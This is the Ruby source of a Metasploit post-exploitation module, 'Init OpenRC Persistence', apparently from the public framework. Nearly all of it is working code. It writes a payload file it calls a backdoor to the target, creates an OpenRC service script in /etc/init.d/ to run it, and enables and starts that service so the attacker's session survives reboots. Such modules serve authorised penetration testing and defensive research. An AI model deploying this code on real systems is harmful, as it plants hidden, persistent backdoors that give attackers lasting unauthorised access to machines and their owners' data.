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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::Unix
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  include Msf::Exploit::FileDropper
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  include Msf::Exploit::EXE # for generate_payload_exe
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  include Msf::Exploit::Local::Persistence
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Deprecated
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  moved_from 'exploits/linux/local/service_persistence'
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Init OpenRC Persistence',
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        'Description' => %q{
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          This module will create a service on the box via OpenRC, and mark it for auto-restart.
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          We need enough access to write service files and potentially restart services.
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          Verified against alpine 3.21.2
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'h00die',
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        ],
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        'Platform' => ['unix', 'linux'],
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        'Targets' => [
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          ['Automatic', {}]
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        ],
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        'DefaultTarget' => 0,
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        'Arch' => [
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          ARCH_CMD,
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          ARCH_X86,
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          ARCH_X64,
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          ARCH_ARMLE,
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          ARCH_AARCH64,
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          ARCH_PPC,
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          ARCH_MIPSLE,
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          ARCH_MIPSBE
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        ],
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        'References' => [
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          ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
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          ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
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          ['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],
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          ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],
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          ['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],
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        ],
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        'SessionTypes' => ['shell', 'meterpreter'],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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        },
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        'DisclosureDate' => '2007-04-05' # openrc release date
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      )
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    )
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    register_options(
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      [
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        OptString.new('SERVICE', [false, 'Name of service to create']),
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        OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
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      ]
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    )
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    register_advanced_options(
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      [
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        OptBool.new('EnableService', [true, 'Enable the service', true])
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      ]
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    )
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  end
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  def check
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    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
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    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
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    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
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    return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')
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    return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')
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    return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')
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    CheckCode::Appears("#{writable_dir} is writable and system is openrc based")
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  end
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  def install_persistence
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    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
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    backdoor = write_shell(writable_dir)
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    path = backdoor.split('/')[0...-1].join('/')
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    file = backdoor.split('/')[-1]
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    openrc(path, file)
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  end
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  def write_shell(path)
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    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
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    backdoor = "#{path}/#{file_name}"
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    vprint_status("Writing backdoor to #{backdoor}")
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    if payload.arch.first == 'cmd'
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      write_file(backdoor, payload.encoded)
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      chmod(backdoor, 0o755)
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    else
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      upload_and_chmodx(backdoor, generate_payload_exe)
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    end
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    @clean_up_rc << "rm #{backdoor}\n"
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    fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
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    backdoor
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  end
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  def openrc(backdoor_path, backdoor_file)
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    if payload.arch.first == 'cmd'
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      script = %(#!/sbin/openrc-run
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name=#{backdoor_file}
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command=/bin/sh
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command_args="#{backdoor_path}/#{backdoor_file}"
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pidfile="/run/${RC_SVCNAME}.pid"
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command_background="yes"
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)
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    else
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      script = %(#!/sbin/openrc-run
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name=#{backdoor_file}
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command="#{backdoor_path}/#{backdoor_file}"
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command_args=""
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pidfile="/run/${RC_SVCNAME}.pid"
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command_background="yes"
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)
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    end
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    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
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    service_path = "/etc/init.d/#{service_filename}"
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    vprint_status("Writing service: #{service_path}")
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    begin
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      upload_and_chmodx(service_path, script)
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      @clean_up_rc << "rm #{service_path}\n"
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    rescue Rex::Post::Meterpreter::RequestError
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      print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")
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    end
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    fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)
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    if datastore['EnableService']
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      vprint_status('Enabling service')
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      cmd_exec("rc-update add '#{service_filename}'")
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      @clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""
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    end
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    print_good('Starting service')
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    cmd_exec("'#{service_path}' start")
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  end
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end
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